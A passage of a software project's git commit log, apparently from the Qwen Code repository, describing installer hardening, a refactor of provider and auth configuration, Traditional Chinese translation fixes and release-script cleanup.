probe picked github. - Support QWEN_INSTALLER_BAT_URL override (https only) in the PowerShell shim so staging mirrors can be exercised without forking the file. - Strip a leading UTF-8 BOM in verify-installation-release.js parseSha256Sums so BOM-prefixed SHA256SUMS reports a useful "Missing checksum entry" error instead of "Malformed SHA256SUMS line 1". - Add tests for verifier HEAD→Range fallback, partial-failure formatting, all-failure wording, and BOM tolerance. * ci(installer): add temporary OSS smoke test * fix(installer): make OSS release assets public-readable * chore(installer): remove temporary OSS smoke workflow * fix(installer): address hosted installer review gaps * feat(installer): refactor argument parsing and utility functions for release scripts * fix(installer): harden hosted release script checks * fix(installer): suppress PowerShell progress bar in hosted entrypoint shim Add $ProgressPreference = 'SilentlyContinue' to the .ps1 wrapper so Invoke-WebRequest downloads don't render a progress bar when invoked via the irm | iex one-liner. * fix(installer): suppress PowerShell progress bar in bat installer downloads Add $ProgressPreference = 'SilentlyContinue' to DownloadFile so the full-screen progress UI does not appear during archive downloads in interactive PowerShell sessions, consistent with the .ps1 shim. * fix(installer): use curl.exe -# progress bar in Windows downloads Prefer curl.exe with -# (hash-mark progress bar) for archive and installer downloads on Windows 10+. Falls back to Invoke-WebRequest (which shows its own progress bar) when curl.exe is unavailable. Matches the approach used by code-server (curl -#fL) and bun.sh (curl.exe -#SfLo). * fix(installer): suppress progress bars for small downloads and Expand-Archive - .ps1: replace curl.exe -# with silent mode, suppress Invoke-WebRequest progress bar; save/restore $global:ProgressPreference - .bat: add $ProgressPreference = 'SilentlyContinue' before Expand-Archive to prevent full-screen extraction progress UI - .sh: remove --progress-bar / --show-progress from download_file, always use silent curl/wget * fix(installer): auto-backup non-qwen directories and simplify output - ensure_managed_install_dir / :EnsureManagedInstallDir now back up non-qwen directories instead of refusing to install, so users upgrading from npm or old installers don't hit a hard error - Simplify header/footer output: remove banner bars, verbose INFO lines, and redundant "Installation completed!" message - Match bun.sh / code-server style: minimal, to the point * fix(installer): revert Expand-Archive progress suppression in bat The inline $ProgressPreference = 'SilentlyContinue' caused a cmd.exe parsing error ("此时不应有 >") on Chinese Windows. Revert to the original Expand-Archive invocation. * fix(installer): fix cmd.exe parsing error in backup fallback code The %s in the for /f fallback command string was interpreted as a variable reference by cmd.exe, causing "此时不应有 >" on Chinese Windows. Replace with a safe fallback and re-enable Expand-Archive progress suppression. * fix(installer): always persist install bin to user PATH Previously MaybeUpdateUserPath was only called when shadow qwen executables were detected. When no shadow was found, the PATH update was skipped entirely, leaving the user without qwen on PATH after restarting their terminal. Now always persist the bin directory to PATH (unless --no-modify-path is set), regardless of whether other qwen installations exist. * fix(installer): persist PATH to current terminal session on Windows Use the `endlocal & set` trick (same as bun/Rust installers) to export the install bin directory from the setlocal scope to the current cmd session. qwen is now usable immediately without restarting the terminal. * docs(installer): document cmd.exe one-liner for immediate PATH availability Add curl-based one-liner for cmd.exe users. Running the .bat directly in the current cmd session makes `qwen` available immediately via the `endlocal & set` trick. The `powershell -c "irm | iex"` path creates a child process so PATH changes cannot propagate to the parent. * feat(installer): make qwen usable immediately from PowerShell after install - .ps1: detect parent process, update current session PATH, and for cmd.exe parents emit a `set PATH=...` command - .bat: skip final instructions when called from PowerShell to avoid duplicate "Run: qwen" output * fix(installer): remove non-functional doskey approach for cmd parent doskey /exename from a child PowerShell process cannot modify the parent cmd.exe session. Replace with a simple set PATH=... command that the user can copy-paste. * fix(installer): make Windows standalone shim available in cmd * feat(installer): add standalone uninstall scripts * fix(uninstall): match shell-quoted paths when removing the wrapper The installer's write_unix_wrapper shell-quotes the binary path, so paths containing single quotes (or other shell metacharacters) appear as shell-quoted strings in the generated wrapper file. The uninstall script's literal grep -qF missed these, leaving the wrapper orphaned. Add shell_quote to the uninstall script and match against both the raw and shell-quoted forms before removing the wrapper. * fix(installer): update download commands to use progress indicators for curl and wget * fix(installer): resolve Aliyun latest via version pointer * fix(installer): cleanup mirror probe temp dirs * fix(installer): harden standalone release fallback * fix(installer): address standalone review feedback * style(installer): align standalone install output * fix(installer): print standalone uninstall commands * fix(installer): address release review follow-ups * fix(installer): harden Windows target detection * test(installer): stabilize Windows fake tool path * fix(installer): allow explicit Windows curl path * test(installer): use cmd fake curl on Windows * test(installer): cover Windows fake curl helper * test(installer): inject Windows arch overrides in cmd * test(cli): wait for prompt suggestion render * test(cli): revert prompt suggestion wait tweak * fix(installer): harden hosted release publishing * fix(installer): harden Windows latest pointer parsing * fix(installer): bound Windows download timeouts * fix(installer): bound hosted installer probes * fix(release): make ossutil download configurable * fix(installer): address hosted release review feedback * test(installer): keep dist backup on same filesystem * fix(installer): address remaining review feedback on PR #3828 - Remove REQUIRE_CHECKSUM dead code, always hard-fail on checksum issues - Add JSDoc to HOSTED_INSTALLER_BEHAVIOR_PATTERNS explaining its purpose - Add credential cleanup trap for ossutilconfig in release workflow - Add 3-attempt retry with exponential backoff for OSS uploads - Tighten findstr SOURCE regex to require leading letter * fix(release): correct OSS credentials lifetime and mirror probe fallback - release.yml: remove `trap EXIT` inside the Configure step; it deleted ${RUNNER_TEMP}/.ossutilconfig as soon as the configure shell exited, so every subsequent step (publish/sync/verify) lost the credentials. Move credential cleanup to a final `if: always()` step at the job tail. - install-qwen-standalone.sh: drop the predictable PID-based mktemp -d fallback in race_mirror_head; if mktemp fails, return "github" instead of using /tmp/qwen-mirror.$$ which a local attacker could pre-create to bias mirror selection. * fix(installer): address review feedback round 2 Workflow: - Move 'Publish Aliyun OSS Latest VERSION' to run after the hosted installer assets are uploaded and verified, so the latest/VERSION pointer only flips once every release artifact is in place. Previously a hosted-sync failure could leave the pointer ahead of the actual installer scripts. upload-aliyun-oss-assets.js: - Replace `spawnSync('sleep', ...)` retry backoff with an Atomics.wait-based cross-platform sleep so retries also work on Windows runners. install-qwen-standalone.bat: - :DetectTarget no longer emits TARGET=win-arm64 because RELEASE_TARGETS has no win-arm64 archive; ARM64 hosts now fall through to the unsupported-arch branch and (in detect mode) get the npm fallback instead of a 404. - Add QWEN_INSTALL_CURL_EXE to :ValidateRawEnvironmentOptions so this curl override is checked for shell metacharacters like every other knob. - Replace `call echo %%i>>...` with plain `echo %%i>>...` when capturing pre-install qwen.cmd paths; `call` triggered an extra parse pass that could interpret &/|/<,>/etc. inside a directory name as command separators. - Add `--retry 2` to curl.exe downloads (`:DownloadFile` / `:DownloadFileQuiet`) to match the shell installer. - Include expected vs actual hash in the checksum-mismatch error message. install-qwen-standalone.ps1: - Stage the downloaded installer at a cryptographically random temp path (`qwen-installer-<random>.bat`) so a same-user attacker cannot pre-stage a malicious .bat at a predictable path and race the verify/execute window. - Atomically install the current-session cmd shim by writing to a sibling `.new` temp file then renaming, so a partial write cannot leave a half-written shim on PATH. - Add `--retry 2` to the curl.exe download path. - Include expected vs actual hash in the checksum-mismatch error message. install-qwen-standalone.sh: - Include expected vs actual hash in the checksum-mismatch error message. uninstall-qwen-standalone.ps1: - Accept `-Purge` and `-Help` parameters; previously every CLI flag was silently dropped, so users running with `-Purge` got no purge and no error. `-Purge` maps to `QWEN_UNINSTALL_PURGE=1`. uninstall-qwen-standalone.sh: - `remove_install_wrapper` additionally requires the wrapper file to start with a `#!` shebang before it deletes it; a user-authored script that just happens to mention the install path now stays untouched. verify-installation-release.js, build-hosted-installation-assets.js: - Include expected vs actual hash in the checksum-mismatch error messages. scripts/tests/install-script.test.js: - Update assertions for the new error wording, the curl `--retry 2` flag, the dropped ARM64 detection, and the new release-step ordering. * fix(installer): address review feedback round 3 Workflow: - Configure Aliyun OSS Credentials: write the ossutil config file directly with restricted umask instead of invoking `ossutil config -k <secret>`. Passing the access-key secret via argv made it visible in /proc/<pid>/cmdline for the lifetime of that step; writing the INI file in-process keeps the secret out of the process table. upload-aliyun-oss-assets.js: - Upload assets in parallel with `Promise.all` + async `spawn` instead of a sequential `spawnSync` loop. Each asset keeps its own retry budget; failures are aggregated so one flaky upload does not mask a separate failure. - Replace the bespoke `Atomics.wait` retry sleep with `timers/promises#setTimeout` now that the loop is async. INSTALLATION_GUIDE.md: - Drop the misleading "instead of overwriting the global installation/ entrypoint objects" sentence; the workflow has always also refreshed the global versionless objects so curl|bash links keep resolving without a version segment. Document the rollback story instead. * test(installer): add parseUploadArgs unit tests and align verify derivation - scripts/tests/upload-aliyun-oss-assets.test.js: cover --help short-circuit, required-option validation (--bucket/--config/--prefix/empty assets), unknown options, missing option values, and trailing-slash prefix normalization. - scripts/verify-installation-release.js: switch the win-only zip branch from `startsWith('win-')` to the strict `=== 'win-x64'` check used by build-standalone-release.js, and add a comment recording that the two derivations must stay aligned. Without this the helpers would diverge the moment a non-x64 win target gets added. * test(installer): add uploadAssets integration tests with fake ossutil Add two integration tests that route a temp-directory ossutil shim onto PATH so uploadAssets actually spawns the real binary with the real cp argv: - happy-path test asserts the destination URI, `-c <config>`, `--acl public-read`, and per-asset cp invocations land for both inputs. - failure-path test asserts non-zero ossutil exits surface as an aggregate `asset uploads failed` error after the retry budget runs out. * revert(installer): drop over-engineered ossutil/upload changes Roll back two changes from a1ef8697b/0a5d308c9 that were not justified by the actual threat model or release-pipeline needs: - .github/workflows/release.yml: restore the supported `ossutil config -k` invocation. The earlier switch to writing the .ossutilconfig INI file in-process was meant to keep the access-key out of /proc/<pid>/cmdline, but GitHub-hosted runners are single-tenant ephemeral VMs where no other user can read that namespace. The benefit was theoretical; the cost was taking on a brittle dependency on ossutil's undocumented config format. - scripts/upload-aliyun-oss-assets.js: revert the uploadAssets parallel rewrite (Promise.all + spawn + setTimeout) back to the original sync spawnSync loop with retry. Release-time uploads of ~6 small files do not need parallelism, and the async refactor changed the public contract (sync→async) for no real wall-clock win. Kept from those commits: - The cleanup `if: always()` step that removes RUNNER_TEMP/.ossutilconfig at the end of the publish job. - The cross-platform sleepSync(ms) helper, since `spawnSync('sleep', ...)` still does not work on Windows runners. - The INSTALLATION_GUIDE.md doc fix. - All other round-2 fixes. Test assertions updated for the restored sync uploadAssets contract. * test(installer): cover Windows release script regressions * test(release): avoid Windows shim lookup in oss upload tests * test(installer): use stable fake Aliyun version on Windows * fix(installer): parse Aliyun latest version in batch * fix(installer): validate Aliyun latest version without findstr * fix(installer): normalize Aliyun latest version via PowerShell * fix(installer): avoid captured PowerShell output in batch latest parsing * fix(installer): normalize Aliyun latest pointer from file * test(installer): fix fake Windows curl output parsing * fix(installer): print checksum path on miss, gate hardcoded version pin in ps1 [skip ci] Address two narrow follow-ups from PR #3828 review: - build-hosted-installation-assets.js: add a HOSTED_INSTALLER_FORBIDDEN_PATTERNS guard for install-qwen-standalone.ps1. The ps1 shim has no VERSION variable of its own (it forwards @args to the .bat), so the existing default-version positive-match patterns don't apply. The new guard fails the build if a $env:QWEN_INSTALL_VERSION assignment or a --version flag prepended to the forwarded argument list ever lands in the shim. Patterns are line-anchored with /m so the documented usage examples in the header docstring stay valid. Two vitest cases cover the reject and allow paths. - install-qwen-standalone.sh / .bat: include the searched checksum-file path in the "SHA256SUMS not found" error. Operators triaging --archive failures could not tell from the prior message whether the fallback path (next to the archive) or the remote URL was being looked up. Existing test assertions updated to match the new wording. Local validation: npm run test:scripts -> 160 passed | 9 skipped (was 158 | 9). * fix: stamp release version in hosted installers and add Zip Slip protection [skip ci] 1. The hosted installation asset build now accepts --version and stamps it into the copied .sh/.bat installers so they default to the tagged release version instead of 'latest'. The release workflow passes the version. 2. install-qwen-with-source.bat now validates archive entries before calling Expand-Archive, rejecting paths with '..', leading '/', drive-rooted paths, empty names, or control characters — matching the protection already present in install-qwen-standalone.bat and the .sh installer. * fix(installer): add SOURCE to PowerShell unsafe-character validation [skip ci] The SOURCE variable is user-provided and used in path operations but was not included in the :ValidateOptions unsafe-character check. Add it alongside the other validated variables. * fix: correct copyright year 2025 -> 2026 in new files [skip ci] --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com> Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> Co-authored-by: yiliang114 <effortyiliang@gmail.com> |
||
|
|
a552df8998
|
refactor(auth): unify provider config in core, simplify /auth as "Connect a Provider" (#4287)
* refactor(providers): unify provider config into core, remove CLI re-exports Move all ProviderConfig definitions, registry (ALL_PROVIDERS), and utility functions (buildInstallPlan, resolveBaseUrl, etc.) from packages/cli/src/auth/ into packages/core/src/providers/ so both CLI and VSCode can share the same provider system. - Add core providers module with types, presets, install logic - Rewrite VSCode AuthMessageHandler to dynamically generate provider choices from ALL_PROVIDERS instead of hardcoding 3 providers - Add applyProviderInstallPlanToFile in VSCode settingsWriter using the ProviderSettingsAdapter abstraction - Delete 11 CLI re-export wrapper files, update ~20 import sites - Keep CLI-specific applyProviderInstallPlan (uses LoadedSettings) and openrouterOAuth.ts (CLI-only OAuth runtime) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * refactor(cli): drop OpenRouter OAuth + /manage-models, simplify /auth OpenRouter now uses the standard API-key flow under "Third-party Providers" (issue #4108). The whole OpenRouter OAuth implementation (PKCE, callback server, model auto-install) and the /manage-models command (only OpenRouter was wired in; /auth Step 2 already covers model selection) are removed. /auth is renamed around the "Connect a Provider" mental model: - Dialog title is now "Connect a Provider"; the OAuth main entry is gone - handleAuthSelect (mixed close + auth trigger) is split into a single-purpose closeAuthDialog; legacy wrappers (handleSubscriptionPlanSubmit, handleApiKeyProviderSubmit, handleCustomApiKeySubmit, ...) are dropped in favor of the unified handleProviderSubmit Core: openRouterProvider switches to authMethod='input', uiGroup='third-party', ships with two recommended free models, and is reordered to the end of the third-party list to keep DeepSeek as the default highlight. Net diff: 34 files, +124 / -3835. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * refactor(auth): unify applyProviderInstallPlan in core, drop cli/auth CLI and vscode now share core's applyProviderInstallPlan instead of keeping two parallel implementations. The CLI-only env rollback (snapshot process.env, restore on error) is folded into the core version so vscode also benefits from it. CLI ships a LoadedSettingsAdapter that maps LoadedSettings to core's ProviderSettingsAdapter contract. Backup/restore is layered: write a .orig file, structuredClone settings + originalSettings, then recomputeMerged() on restore — same guarantees as before, just routed through the adapter. Tests for the install logic are migrated to core and rewritten against the adapter mock (more focused than the previous LoadedSettings/Config mocks). packages/cli/src/auth/ is gone entirely. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * refactor(providers): drop unused authMethod field from ProviderConfig Every preset has had authMethod='input' since OpenRouter switched to the standard API-key flow, making the field a dead dimension. Removing it cleans up three never-taken branches and aligns the type with reality: connecting a provider always means entering an API key. - core: remove ProviderConfig.authMethod; shouldShowStep('apiKey') is now unconditionally true; drop authMethod from 9 presets - vscode AuthMessageHandler: drop the OAuth branch in handleAuthInteractive - vscode WebViewProvider: simplify the apiKey-required guard - tests: update provider-config.test and custom-provider.test If a future provider needs a browser-based flow, the field can be re-introduced; for now the smaller surface is worth more. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * refactor(providers): prefix Alibaba plan presets with alibaba- Rename coding-plan.{ts,test.ts} → alibaba-coding-plan.{ts,test.ts} and token-plan.{ts,test.ts} → alibaba-token-plan.{ts,test.ts} so the file names line up with the existing alibaba-standard preset and make it obvious at a glance which presets belong to Alibaba ModelStudio. Export names (codingPlanProvider, tokenPlanProvider, TOKEN_PLAN_*, CODING_PLAN_*) are unchanged — only the file paths and the two imports in all-providers.ts / index.ts move. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(vscode): guard ProviderSettingsAdapter against prototype pollution The dotted-key writer in createFileSettingsAdapter walked through any segment, including __proto__/constructor/prototype, which would let a malicious or malformed ProviderInstallPlan reach Object.prototype. Refuse to write paths containing reserved segments and use hasOwnProperty when traversing intermediate objects so that inherited properties cannot redirect the walk. Addresses CodeQL alert #226 surfaced on PR #4287. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(auth): default Audio modality to off in provider advanced config In the /auth Custom Provider advanced-config step, "Enable modality" should default to Image + Video only. Audio was on by default, which implied the model accepts audio input even though most providers people configure here don't. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(auth): show base URL default as placeholder, not prefilled value In Custom Provider Step 2/6 (and on protocol switch), the base URL input started with the protocol's default URL pre-filled. Users who wanted a non-default endpoint had to manually clear the field first. Switch to placeholder semantics: the input starts empty, the default URL is shown as a hint, and submitting blank falls back to that default (then writes it back to baseUrl so downstream steps see a real value). Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * refactor(cli): rename /auth description to "Connect an LLM provider" The old description ("Configure authentication information for login") implied a Qwen-account login. After the /auth refactor it's really about picking an LLM provider and entering credentials, so the menu entry should say that. Also add 'connect' as an alt-name alongside the existing 'login' so users can type /connect when 'auth' feels wrong. Keep 'login' for muscle-memory compatibility. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * i18n(cli): translate "Connect an LLM provider" in all locales Strict-parity locales (zh, zh-TW) require every built-in command description to be translated; the renamed /auth description was falling back to English and breaking the must-translate test. Add translations for zh / zh-TW (required) and refresh the other seven locales (en, ru, de, ja, fr, ca, pt) so the old "Configure authentication information for login" key is removed everywhere rather than left as a dangling dictionary entry. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(vscode): await applyProviderInstallPlanToFile and grow test coverage Critical: applyProviderInstallPlanToFile fired the install plan with `void`, so any rejection (EACCES from persist(), prototype-pollution guard throw, etc.) was silently swallowed and WebViewProvider proceeded to disconnect/reconnect the agent as if the write had succeeded. Make the wrapper `async` and `await` it in the only caller. Tests added: - core/install.test: isSameModelIdentity fallback path (prepend-and-remove-owned with no ownsModel) — verifies models are matched on id+baseUrl, not just id. - vscode/AuthMessageHandler.test: happy-path with a fixed-baseUrl third-party provider, validateApiKey error branch, and BaseUrlOption picker presentation. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(auth): address PR #4287 review (critical + suggestion) vscode AuthMessageHandler (Critical): - Add the missing protocol-selection step so custom-provider users can pick Anthropic/Gemini instead of being silently locked to OpenAI. - Validate free-form base URL with the same /^https?:\/\// check the CLI uses; reject file:/javascript: schemes. vscode AuthMessageHandler (Suggestion): - Stop filtering separator entries from the provider QuickPick so groups (Alibaba Cloud / Third Party / Custom) actually show as headers instead of a flat list. - Treat a null authInteractiveHandler as an error: surface an authError + cancellation notification instead of silently dropping the user's input. - Call notifyAuthCancelled when validateApiKey rejects so the webview state resets and the user can retry. core/providers/presets/openrouter.ts (Critical): - Replace the substring includes() in ownsModel with a URL-hostname match so paths like https://api.example.com/openrouter.ai/v1 stop being misidentified as OpenRouter models (and getting removed on re-install). vscode/services/settingsWriter.ts (Critical): - stripTrailingCommas() so JSONC files with trailing commas (VSCode's default style) parse instead of silently returning {} and then overwriting the entire settings file. - readSettings() distinguishes ENOENT (return {}) from parse errors (log + rethrow) so a malformed file never gets clobbered. - writeSettings() writes through a temp file + fs.renameSync atomic rename, eliminating the half-written file window on EACCES / disk-full / crash. - setValue() refuses to overwrite a scalar at an intermediate path segment (would have silently destroyed e.g. {"env": "legacy-string"}). core/providers/install.ts (Suggestion): - Move settings.backup?.() inside the try block so a backup failure still triggers the env-rollback path in catch. cli/config/loadedSettingsAdapter.ts (Suggestion): - Add the same UNSAFE_KEY_PARTS guard the vscode adapter has, so __proto__/constructor/prototype segments are rejected before reaching the underlying setNestedPropertySafe walker. Defense in depth: not exploitable today but the utility has no built-in guard. vscode/webview/providers/WebViewProvider.ts (Suggestion): - Hoist buildInstallPlan / applyProviderInstallPlanToFile to static imports (both modules already top-level imported); drops two per-call await import() round-trips. cli/utils/doctorChecks.ts (Suggestion): - Whitespace nit before the comma in the qwen-code-core import. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(auth): second round of PR #4287 review fixes Critical: - settingsWriter: stripTrailingCommas now uses a char-by-char scanner so literal ",]" inside a string value is preserved (the previous regex silently corrupted it). - install.ts: wrap settings.restore() in try/catch so a restore failure doesn't mask the original error or skip the env-rollback loop. - install.ts: snapshot the runtime ModelProvidersConfig before applying patches and reload it in the catch path, so an in-flight refreshAuth() failure doesn't leave the live session holding providers that were never successfully installed. - AuthMessageHandler: custom-provider Base URL is now a placeholder instead of a pre-filled value, with the default selected by the user's chosen protocol (openai/anthropic/gemini). Empty input falls back to the protocol-appropriate URL, preventing the pick-Anthropic-but-keep-OpenAI-URL footgun. Suggestion: - AuthDialog: replace the isCurrentlyCodingPlan misnomer with a uiGroup check — resolveMetadataKey returns config.id for *any* provider with a static models[], so the old guard made DeepSeek/MiniMax/OpenRouter users land on the Alibaba tab instead of Third-party Providers. - AuthMessageHandler: guard against modelIds being [] after splitting comma input (matches the CLI's "Model IDs cannot be empty."). - WebViewProvider: restore the explanatory comment for the authState === true success-toast guard that the previous diff accidentally dropped. Tests: - settingsWriter.test: new applyProviderInstallPlanToFile suite covering happy path, prototype-pollution guard (built via Object.defineProperty to bypass __proto__ literal semantics), intermediate-scalar rejection, malformed-file no-clobber, JSONC-with-trailing-commas parsing (including a string containing ",]"), and the atomic-write tmp-file cleanup. - loadedSettingsAdapter.test: new file — forwarding, UNSAFE_KEY_PARTS rejection, getValue against merged settings, backup/restore round-trip, cleanupBackup semantics. - provider-config.test: added findProviderByCredentials and getAllProviderBaseUrls coverage (preset hits, unknown-key misses, BaseUrlOption[] preset expansion). Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(cli): satisfy strict tsc --build in loadedSettingsAdapter.test CI's `tsc --build` (with emit) enforced two strict checks that `tsc --noEmit` had been letting through: - `noPropertyAccessFromIndexSignature` flagged `file.settings['env']` reads against `Record<string, unknown>`. Switched the test fixture shape to a named `SettingsShape` interface with explicit `env` and `modelProviders` keys (plus an index signature for setValue's arbitrary writes), so dot access on the known keys is no longer "through" the index signature. - Calling optional methods via `adapter.backup?.()` produced TS2722 (`Cannot invoke an object which is possibly 'undefined'`) under the build flags. createLoadedSettingsAdapter always installs backup/restore/cleanupBackup, so the tests now assert `toBeTypeOf('function')` first and then call via non-null assertion, which both documents the invariant and makes the call typesafe. - Dropped the `({} as Record<string, unknown>)['polluted']` sanity check; `expect(setValue).not.toHaveBeenCalled()` already proves the guard short-circuits before any write reaches LoadedSettings. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(cli): guard mock setValue against prototype pollution in adapter test CodeQL flagged the mock setValue's recursive property assignment as a prototype-pollution sink. Add UNSAFE_KEY_PARTS check at the top of the mock to align with the real setNestedPropertySafe contract. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(cli): use literal === guards for CodeQL prototype-pollution sanitiser CodeQL re-flagged the mock setValue write even after the Set.has guard added in |
||
|
|
16f0fde19a
|
fix(test): raise timeout for Windows installer end-to-end tests (#4352)
* fix(test): raise timeout for Windows installer end-to-end tests The Windows-only end-to-end installer tests spawn cmd.exe to run the .bat installer and then qwen.cmd --version, which boots a Node process. On GitHub's windows-latest runners that chain regularly takes >5s, so the default 5s vitest timeout makes them flaky (recently observed at 5804ms on CI). Bump the describe-block timeout to 30s, which leaves headroom without masking real regressions. * fix(test): raise timeout for Linux/macOS installer end-to-end tests Match the timeout already applied to the Windows e2e block: the Linux/macOS installer tests also spawn child processes via execFileSync, so they share the same flake risk near the default 5s vitest timeout. 15s leaves ample headroom without Windows' cmd.exe overhead. Addresses review feedback on #4352. |
||
|
|
02a65f90c4
|
fix(i18n): Correct zh-TW translations to match Traditional Chinese conventions (#4129)
* fix(i18n): Correct zh-TW translations to match Traditional Chinese conventions Fix ~131 lines of Traditional Chinese (zh-TW) translations that used Simplified Chinese character forms instead of standard Traditional Chinese usage. Changes: - 文件 → 檔案 (47 occurrences) - 爲 → 為 (45 occurrences) - 啓 → 啟 (44 occurrences) - 曆史 → 歷史 (6 occurrences) - 鏈接 → 連結 (4 occurrences) - 菜單 → 選單 (3 occurrences) * fix(i18n): Replace 服務器 with 伺服器 (15 occurrences) Align with Traditional Chinese convention where 伺服器 is the standard term for 'server' in computing contexts. * fix(i18n): Update zh-TW.js header comment to prevent accidental overwrite Clarify that the file is the authoritative source and should not be overwritten with auto-generated output, to prevent future maintainers from regenerating with raw OpenCC and losing manual corrections. * fix(i18n): Add zh-TW regression check and maintenance docs Addresses reviewer feedback on PR #4129 (points 2 and 3): - scripts/check-i18n.ts: Iterate over parsed zh-TW translation values (not raw file content) and report the offending key. Replace the earlier substring list with ZH_TW_FORBIDDEN_PATTERNS, which targets the three real regression categories: variant Traditional characters produced by OpenCC s2t (爲, 啓), Mainland-Chinese vocabulary (服務器, 菜單, 鏈接), and pure Simplified characters. Excludes 禁用 / 配置 / 文件 / 打開 to avoid false positives on Taiwan-valid usage. - scripts/tests/check-i18n.test.ts: Cover the new check, including negative cases for Taiwan-valid vocabulary. - docs/users/features/language.md: Document zh-TW maintenance — the vocabulary table, why raw OpenCC s2t output is not acceptable, and where the CI-enforced list lives. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com> * fix(i18n): Address review feedback on zh-TW check (#4129) - check-i18n.ts: Sort ZH_TW_FORBIDDEN_PATTERNS longest-first and break on first match so e.g. `历史` reports the specific bigram instead of also firing the bare `历` rule (no duplicate CI errors). - check-i18n.ts: Add ZH_TW_ALLOWED_EXCEPTIONS escape hatch so a future legitimate translation (e.g. 區塊鏈 in a UI string) can opt out by key without weakening the global pattern list. - docs/users/features/language.md: Add a "CI enforced?" column so contributors can tell which rows block CI vs. which are review-only style guidance. Replace bare `曆` in the table with the `曆史` bigram and note that `曆` is correct in calendar terms (日曆, 農曆, 西曆) — prevents a future maintainer from globally replacing 曆→歷. - Tests: Cover the dedup behavior on overlapping patterns. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com> * docs(i18n): Note word-boundary limitation of zh-TW substring check Document the known limitation that `includes()`-based pattern matching does not respect Chinese word boundaries — a bigram like `鏈接` will false-positive on `區塊鏈接口` (區塊鏈 + 接口). Direct contributors to `ZH_TW_ALLOWED_EXCEPTIONS` when this happens instead of weakening the pattern list. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com> |
||
|
|
cb7059f54d
|
feat(installer): add standalone archive installation (#3776)
* feat(installer): add standalone archive installation * fix(installer): harden standalone archive installs * fix(installer): address standalone review findings * chore(installer): clarify review followups * fix(installer): stabilize standalone script checks * chore(installer): remove internal planning docs * chore(installer): simplify standalone release review fixes * test(installer): add Windows batch install smoke * test(installer): fix Windows batch smoke quoting * test(installer): preserve Windows cmd quotes * fix(installer): use robust Windows checksum hashing * ci: narrow installer debug matrix * fix(installer): address standalone review hardening * fix(installer): avoid Windows validation parse errors * fix(installer): simplify Windows option validation * fix(installer): harden standalone review fixes |
||
|
|
9bd5a0180b
|
feat(cli): core built-in i18n coverage (#3871)
* feat(i18n): expand built-in locale coverage * feat(cli): add dynamic slash command translation * test(cli): stabilize session picker assertions * fix(core): close jsonl readers before cleanup * fix: address i18n review regressions * fix(cli): address dynamic i18n review findings * fix(cli): address i18n review follow-ups * fix(cli): address i18n review feedback * test(cli): align i18n parity coverage with strict locales * fix(cli): address i18n review findings |
||
|
|
07441cc1e3
|
feat(sdk-python): add network timeouts to release version helper (#3833) | ||
|
|
2c93fd670c
|
refactor: extract shared release helper utilities (#3834)
Move four duplicated utility functions (getArgs, readJson,
validateVersion, isExpectedMissingGitHubRelease) from the three
get-release-version.js scripts into a shared module at
scripts/lib/release-helpers.js so that changes only need to happen
in one place.
Also fixes a pre-existing bug in getArgs where argument values
containing '=' were silently truncated (e.g. --msg=a=b produced
{msg:'a'} instead of {msg:'a=b'}).
Closes #3795
🤖 Generated with [Qwen Code](https://github.com/QwenLM/qwen-code)
Co-authored-by: jinye.djy <jinye.djy@alibaba-inc.com>
|